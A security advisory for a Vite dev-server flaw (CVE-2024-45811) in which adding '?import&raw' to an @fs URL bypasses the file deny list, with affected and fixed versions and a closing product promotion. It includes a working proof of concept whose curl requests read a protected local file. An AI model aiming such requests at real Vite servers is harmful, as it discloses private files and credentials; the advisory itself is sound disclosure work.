MediumGHSA-9cwx-2883-4wfxCVE-2024-45811

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Published 17 Sept 2024 · Updated 10 Sept 2026

Affected packages

vitenpm
Affected
>=5.4.0 <5.4.6
Fixed in
5.4.6
Update to the fixed version for your release line, for example:npm install vite@5.4.6
vitenpm
Affected
>=5.3.0 <5.3.6
Fixed in
5.3.6
Update to the fixed version for your release line, for example:npm install vite@5.3.6
vitenpm
Affected
>=5.2.0 <5.2.14
Fixed in
5.2.14
Update to the fixed version for your release line, for example:npm install vite@5.2.14
vitenpm
Affected
>=4.0.0 <4.5.4
Fixed in
4.5.4
Update to the fixed version for your release line, for example:npm install vite@4.5.4
vitenpm
Affected
<3.2.11
Fixed in
3.2.11
Update to the fixed version for your release line, for example:npm install vite@3.2.11
vitenpm
Affected
>=5.0.0 <5.1.8
Fixed in
5.1.8
Update to the fixed version for your release line, for example:npm install vite@5.1.8

Details

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Is GHSA-9cwx-2883-4wfx in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vite, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.